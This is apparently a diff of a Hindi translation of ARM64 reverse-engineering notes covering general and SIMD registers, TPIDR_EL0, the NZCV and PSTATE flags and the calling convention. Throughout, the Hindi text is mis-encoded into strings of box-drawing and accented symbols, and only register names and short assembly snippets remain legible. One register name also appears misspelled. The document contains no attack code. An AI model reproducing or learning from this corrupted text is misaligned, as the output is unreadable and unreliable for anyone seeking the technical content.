рдирд┐рд░реНрджреЗрд╢ рд╢рд╛рдЦрд╛ рдХреЗ рд╕рд╛рде рд▓рд┐рдВрдХ рдирд┐рд░реНрджреЗрд╢ (BL, BLR) рд╣реИрдВ, рдЬреЛ **`pc`** рдкрддрд╛ рдХреЛ **`lr`** (рд▓рд┐рдВрдХ рд░рдЬрд┐рд╕реНрдЯрд░) рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВред +11. **`xzr`** - **рдЬрд╝реАрд░реЛ рд░рдЬрд┐рд╕реНрдЯрд░**ред рдЗрд╕реЗ **`wzr`** рднреА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЗрд╕рдХреЗ **32**-рдмрд┐рдЯ рд░рдЬрд┐рд╕реНрдЯрд░ рд░реВрдк рдореЗрдВред рдЗрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реВрдиреНрдп рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рд╕рд╛рдорд╛рдиреНрдп рдСрдкрд░реЗрд╢рди) рдпрд╛ **`subs`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рддреБрд▓рдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреИрд╕реЗ **`subs XZR, Xn, #10`** рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдбреЗрдЯрд╛ рдХреЛ рдХрд╣реАрдВ рднреА рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдмрд┐рдирд╛ ( **`xzr`** рдореЗрдВ)ред **`Wn`** рд░рдЬрд┐рд╕реНрдЯрд░ **`Xn`** рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд╛ **32-рдмрд┐рдЯ** рд╕рдВрд╕реНрдХрд░рдг рд╣реИрдВред ### SIMD рдФрд░ рдлреНрд▓реЛрдЯрд┐рдВрдЧ-рдкреЙрдЗрдВрдЯ рд░рдЬрд┐рд╕реНрдЯрд░ -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **128-рдмрд┐рдЯ рд▓рдВрдмрд╛рдИ рдХреЗ 32 рд░рдЬрд┐рд╕реНрдЯрд░** рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреБрдХреВрд▓рд┐рдд рд╕рд┐рдВрдЧрд▓ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рди рдорд▓реНрдЯреАрдкрд▓ рдбреЗрдЯрд╛ (SIMD) рдСрдкрд░реЗрд╢рдиреЛрдВ рдореЗрдВ рдФрд░ рдлреНрд▓реЛрдЯрд┐рдВрдЧ-рдкреЙрдЗрдВрдЯ рдЕрдВрдХрдЧрдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ Vn рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡реЗ **64**-рдмрд┐рдЯ, **32**-рдмрд┐рдЯ, **16**-рдмрд┐рдЯ рдФрд░ **8**-рдмрд┐рдЯ рдореЗрдВ рднреА рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рддрдм рдЗрдиреНрд╣реЗрдВ **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** рдФрд░ **`Bn`** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **128-рдмрд┐рдЯ рд▓рдВрдмрд╛рдИ рдХреЗ 32 рд░рдЬрд┐рд╕реНрдЯрд░** рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЕрдиреБрдХреВрд▓рд┐рдд рд╕рд┐рдВрдЧрд▓ рдЗрдВрд╕реНрдЯреНрд░рдХреНрд╢рди рдорд▓реНрдЯреАрдкрд▓ рдбреЗрдЯрд╛ (SIMD) рд╕рдВрдЪрд╛рд▓рди рдореЗрдВ рдФрд░ рдлреНрд▓реЛрдЯрд┐рдВрдЧ-рдкреЙрдЗрдВрдЯ рдЕрдВрдХрдЧрдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрдиреНрд╣реЗрдВ Vn рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рд╡реЗ **64**-рдмрд┐рдЯ, **32**-рдмрд┐рдЯ, **16**-рдмрд┐рдЯ рдФрд░ **8**-рдмрд┐рдЯ рдореЗрдВ рднреА рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рддрдм рдЗрдиреНрд╣реЗрдВ **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** рдФрд░ **`Bn`** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред ### рд╕рд┐рд╕реНрдЯрдо рд░рдЬрд┐рд╕реНрдЯрд░ @@ -55,7 +55,7 @@ ARM64 рдореЗрдВ **31 рд╕рд╛рдорд╛рдиреНрдп-рдЙрджреНрджреЗрд╢реНрдп рд░рдЬрд┐рд╕ рдЗрдиреНрд╣реЗрдВ рдХреЗрд╡рд▓ рд╕рдорд░реНрдкрд┐рдд рд╡рд┐рд╢реЗрд╖ рдирд┐рд░реНрджреЗрд╢ **`mrs`** рдФрд░ **`msr`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрдврд╝рд╛ рдпрд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░рдЬрд┐рд╕реНрдЯрд░ **`TPIDR_EL0`** рдФрд░ **`TPIDDR_EL0`** рдЖрдорддреМрд░ рдкрд░ рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХрд░рддреЗ рд╕рдордп рдкрд╛рдП рдЬрд╛рддреЗ рд╣реИрдВред `EL0` рдЙрдкрд╕рд░реНрдЧ рдЙрд╕ **рдиреНрдпреВрдирддрдо рдЕрдкрд╡рд╛рдж** рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ EL0 рдирд┐рдпрдорд┐рдд рдЕрдкрд╡рд╛рдж (рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░) рд╕реНрддрд░ рд╣реИ рдЬрд┐рд╕ рдкрд░ рдирд┐рдпрдорд┐рдд рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЪрд▓рддреЗ рд╣реИрдВ)ред\ -рдЗрдирдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдорддреМрд░ рдкрд░ **рдереНрд░реЗрдб-рд╕реНрдерд╛рдиреАрдп рднрдВрдбрд╛рд░рдг** рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЗ **рдмреЗрд╕ рдкрддреЗ** рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдорддреМрд░ рдкрд░ рдкрд╣рд▓рд╛ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП EL0 рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд▓рд┐рдП рдкрдврд╝рдиреЗ рдпреЛрдЧреНрдп рдФрд░ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рджреВрд╕рд░рд╛ EL0 рд╕реЗ рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ EL1 рд╕реЗ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдЬреИрд╕реЗ рдХрд░реНрдиреЗрд▓)ред +рдЗрдиреНрд╣реЗрдВ рдЖрдорддреМрд░ рдкрд░ **рдереНрд░реЗрдб-рд╕реНрдерд╛рдиреАрдп рднрдВрдбрд╛рд░рдг** рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЗ **рдмреЗрд╕ рдкрддреЗ** рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдорддреМрд░ рдкрд░ рдкрд╣рд▓рд╛ рд░рдЬрд┐рд╕реНрдЯрд░ EL0 рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд▓рд┐рдП рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдпреЛрдЧреНрдп рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рджреВрд╕рд░рд╛ EL0 рд╕реЗ рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ EL1 (рдЬреИрд╕реЗ рдХрд░реНрдиреЗрд▓) рд╕реЗ рд▓рд┐рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред - `mrs x0, TPIDR_EL0 ; TPIDR_EL0 рдХреЛ x0 рдореЗрдВ рдкрдврд╝реЗрдВ` - `msr TPIDR_EL0, X0 ; x0 рдХреЛ TPIDR_EL0 рдореЗрдВ рд▓рд┐рдЦреЗрдВ` @@ -68,66 +68,66 @@ ARM64 рдореЗрдВ **31 рд╕рд╛рдорд╛рдиреНрдп-рдЙрджреНрджреЗрд╢реНрдп рд░рдЬрд┐рд╕
- **`N`**, **`Z`**, **`C`** рдФрд░ **`V`** рд╕реНрдерд┐рддрд┐ рдзреНрд╡рдЬ: -- **`N`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рдирдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рджрд┐рдпрд╛ -- **`Z`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рд╢реВрдиреНрдп рджрд┐рдпрд╛ +- **`N`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рдирдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ +- **`Z`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рд╢реВрдиреНрдп рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ - **`C`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рдХреИрд░реА рдХрд┐рдпрд╛ -- **`V`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рд╕рд╛рдЗрди рдУрд╡рд░рдлреНрд▓реЛ рджрд┐рдпрд╛: -- рджреЛ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХрд╛ рдпреЛрдЧ рдирдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рджреЗрддрд╛ рд╣реИред -- рджреЛ рдирдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХрд╛ рдпреЛрдЧ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рджреЗрддрд╛ рд╣реИред -- рдШрдЯрд╛рд╡ рдореЗрдВ, рдЬрдм рдПрдХ рдмрдбрд╝рд╛ рдирдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛ рдПрдХ рдЫреЛрдЯреЗ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛ (рдпрд╛ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд) рд╕реЗ рдШрдЯрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рджрд┐рдП рдЧрдП рдмрд┐рдЯ рдЖрдХрд╛рд░ рдХреА рд╕реАрдорд╛ рдХреЗ рднреАрддрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -- рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕рд░ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рдХрд┐ рдСрдкрд░реЗрд╢рди рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдСрдкрд░реЗрд╢рдиреЛрдВ рдореЗрдВ C рдФрд░ V рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ рдФрд░ рд╕рдВрдХреЗрдд рджреЗрдЧрд╛ рдХрд┐ рдпрджрд┐ рдпрд╣ рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдпрд╛ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рддреЛ рдХреИрд░реА рд╣реБрдЖред +- **`V`** рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдСрдкрд░реЗрд╢рди рдиреЗ рдПрдХ рд╕рд╛рдЗрди рдУрд╡рд░рдлреНрд▓реЛ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛: +- рджреЛ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХрд╛ рдпреЛрдЧ рдПрдХ рдирдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред +- рджреЛ рдирдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХрд╛ рдпреЛрдЧ рдПрдХ рд╕рдХрд╛рд░рд╛рддреНрдордХ рдкрд░рд┐рдгрд╛рдо рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред +- рдШрдЯрд╛рд╡ рдореЗрдВ, рдЬрдм рдПрдХ рдмрдбрд╝рд╛ рдирдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛ рдПрдХ рдЫреЛрдЯреЗ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╕рдВрдЦреНрдпрд╛ (рдпрд╛ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд) рд╕реЗ рдШрдЯрд╛рдИ рдЬрд╛рддреА рд╣реИ, рдФрд░ рдкрд░рд┐рдгрд╛рдо рдХреЛ рджрд┐рдП рдЧрдП рдмрд┐рдЯ рдЖрдХрд╛рд░ рдХреА рд╕реАрдорд╛ рдХреЗ рднреАрддрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +- рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдкреНрд░реЛрд╕реЗрд╕рд░ рдирд╣реАрдВ рдЬрд╛рдирддрд╛ рдХрд┐ рдСрдкрд░реЗрд╢рди рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдСрдкрд░реЗрд╢рдиреЛрдВ рдореЗрдВ C рдФрд░ V рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдЧрд╛ рдФрд░ рдпрд╣ рд╕рдВрдХреЗрдд рджреЗрдЧрд╛ рдХрд┐ рдпрджрд┐ рдХреИрд░реА рд╣реБрдЖ рд╣реИ рддреЛ рдпрд╣ рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдпрд╛ рдЕрд╕рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред > [!WARNING] > рд╕рднреА рдирд┐рд░реНрджреЗрд╢ рдЗрди рдзреНрд╡рдЬреЛрдВ рдХреЛ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВред рдХреБрдЫ рдЬреИрд╕реЗ **`CMP`** рдпрд╛ **`TST`** рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдЕрдиреНрдп рдЬрд┐рдирдХреЗ рдкрд╛рд╕ s рдЙрдкрд╕рд░реНрдЧ рд╣реЛрддрд╛ рд╣реИ рдЬреИрд╕реЗ **`ADDS`** рднреА рдРрд╕рд╛ рдХрд░рддреЗ рд╣реИрдВред - рд╡рд░реНрддрдорд╛рди **рд░рдЬрд┐рд╕реНрдЯрд░ рдЪреМрдбрд╝рд╛рдИ (`nRW`) рдзреНрд╡рдЬ**: рдпрджрд┐ рдзреНрд╡рдЬ рдХрд╛ рдорд╛рди 0 рд╣реИ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ AArch64 рдирд┐рд╖реНрдкрд╛рджрди рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЪрд▓реЗрдЧрд╛ред - рд╡рд░реНрддрдорд╛рди **рдЕрдкрд╡рд╛рдж рд╕реНрддрд░** (**`EL`**): EL0 рдореЗрдВ рдЪрд▓рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдирд┐рдпрдорд┐рдд рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛ рдорд╛рди 0 рд╣реЛрдЧрд╛ред -- **рд╕рд┐рдВрдЧрд▓ рд╕реНрдЯреЗрдкрд┐рдВрдЧ** рдзреНрд╡рдЬ (**`SS`**): рдбрд┐рдмрдЧрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╕рд┐рдВрдЧрд▓ рд╕реНрдЯреЗрдк рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, **`SPSR_ELx`** рдХреЗ рднреАрддрд░ SS рдзреНрд╡рдЬ рдХреЛ 1 рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗ рдПрдХ рдЕрдкрд╡рд╛рдж рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдХ рдХрджрдо рдЪрд▓реЗрдЧрд╛ рдФрд░ рдПрдХ рд╕рд┐рдВрдЧрд▓ рд╕реНрдЯреЗрдк рдЕрдкрд╡рд╛рдж рдЬрд╛рд░реА рдХрд░реЗрдЧрд╛ред +- **рд╕рд┐рдВрдЧрд▓ рд╕реНрдЯреЗрдкрд┐рдВрдЧ** рдзреНрд╡рдЬ (**`SS`**): рдбрд┐рдмрдЧрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╕рд┐рдВрдЧрд▓ рд╕реНрдЯреЗрдк рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, **`SPSR_ELx`** рдХреЗ рднреАрддрд░ рдПрдХ рдЕрдкрд╡рд╛рдж рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SS рдзреНрд╡рдЬ рдХреЛ 1 рдкрд░ рд╕реЗрдЯ рдХрд░рдХреЗред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдХ рдХрджрдо рдЪрд▓реЗрдЧрд╛ рдФрд░ рдПрдХ рд╕рд┐рдВрдЧрд▓ рд╕реНрдЯреЗрдк рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред - **рдЕрд╡реИрдз рдЕрдкрд╡рд╛рдж** рд╕реНрдерд┐рддрд┐ рдзреНрд╡рдЬ (**`IL`**): рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдПрдХ рдЕрд╡реИрдз рдЕрдкрд╡рд╛рдж рд╕реНрддрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рдг рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рдзреНрд╡рдЬ 1 рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдкреНрд░реЛрд╕реЗрд╕рд░ рдПрдХ рдЕрд╡реИрдз рд╕реНрдерд┐рддрд┐ рдЕрдкрд╡рд╛рдж рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред - **`DAIF`** рдзреНрд╡рдЬ: рдпреЗ рдзреНрд╡рдЬ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдХреБрдЫ рдмрд╛рд╣рд░реА рдЕрдкрд╡рд╛рджреЛрдВ рдХреЛ рдЪрдпрдирд╛рддреНрдордХ рд░реВрдк рд╕реЗ рдорд╛рд╕реНрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред -- рдпрджрд┐ **`A`** 1 рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдПрдмреЙрд░реНрдЯреНрд╕** рдЙрддреНрдкрдиреНрди рд╣реЛрдВрдЧреЗред **`I`** рдмрд╛рд╣рд░реА рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ **рдЗрдВрдЯрд░рдкреНрдЯ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ** (IRQs) рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдФрд░ F **рдлрд╛рд╕реНрдЯ рдЗрдВрдЯрд░рдкреНрдЯ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ** (FIRs) рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред +- рдпрджрд┐ **`A`** 1 рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ **рдЕрд╕рд┐рдВрдХреНрд░реЛрдирд╕ рдПрдмреЙрд░реНрдЯ** рдЙрддреНрдкрдиреНрди рд╣реЛрдВрдЧреЗред **`I`** рдмрд╛рд╣рд░реА рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ **рдЗрдВрдЯрд░рдкреНрдЯ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ** (IRQs) рдХрд╛ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдФрд░ F **рдлрд╛рд╕реНрдЯ рдЗрдВрдЯрд░рдкреНрдЯ рд░рд┐рдХреНрд╡реЗрд╕реНрдЯ** (FIRs) рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИред - **рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░ рдЪрдпрди** рдзреНрд╡рдЬ (**`SPS`**): EL1 рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд╕реНрдЯреИрдХ рдкреЙрдЗрдВрдЯрд░ рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдореЙрдбрд▓ рд╡рд╛рд▓реЗ рдХреЗ рдмреАрдЪ рд╕реНрд╡рд┐рдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ `SP_EL1` рдФрд░ `EL0` рдХреЗ рдмреАрдЪ)ред рдпрд╣ рд╕реНрд╡рд┐рдЪрд┐рдВрдЧ **`SPSel`** рд╡рд┐рд╢реЗрд╖ рд░рдЬрд┐рд╕реНрдЯрд░ рдореЗрдВ рд▓рд┐рдЦрдХрд░ рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕реЗ EL0 рд╕реЗ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ## **рдХреЙрд▓рд┐рдВрдЧ рдХрдиреНрд╡реЗрдВрд╢рди (ARM64v8)** ARM64 рдХреЙрд▓рд┐рдВрдЧ рдХрдиреНрд╡реЗрдВрд╢рди рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП **рдкрд╣рд▓реЗ рдЖрда рдкреИрд░рд╛рдореАрдЯрд░** рд░рдЬрд┐рд╕реНрдЯрд░ **`x0` рд╕реЗ `x7`** рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред **рдЕрддрд┐рд░рд┐рдХреНрдд** рдкреИрд░рд╛рдореАрдЯрд░ **рд╕реНрдЯреИрдХ** рдкрд░ рдкрд╛рд╕ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред **рд░рд┐рдЯрд░реНрди** рдорд╛рди рд░рдЬрд┐рд╕реНрдЯрд░ **`x0`** рдореЗрдВ рд╡рд╛рдкрд╕ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╛ **`x1`** рдореЗрдВ рднреА **рдпрджрд┐ рдпрд╣ 128 рдмрд┐рдЯ рд▓рдВрдмрд╛ рд╣реИ**ред **`x19`** рд╕реЗ **`x30`** рдФрд░ **`sp`** рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рдмреАрдЪ **рд╕рдВрд░рдХреНрд╖рд┐рдд** рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред -рдЬрдм рдЕрд╕реЗрдВрдмрд▓реА рдореЗрдВ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдкрдврд╝рддреЗ рд╣реИрдВ, рддреЛ **рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛ рдФрд░ рдЙрдкрд╕рдВрд╣рд╛рд░** рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВред **рдкреНрд░рд╕реНрддрд╛рд╡рдирд╛** рдЖрдорддреМрд░ рдкрд░ **рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░ (`x29`) рдХреЛ рд╕рд╣реЗрдЬрдиреЗ**, **рдирдП рдлреНрд░реЗрдо рдкреЙрдЗрдВрдЯрд░** рдХреЛ рд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ **рд╕реНрдЯреИрдХ рд╕реНрдкреЗрд╕ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИред 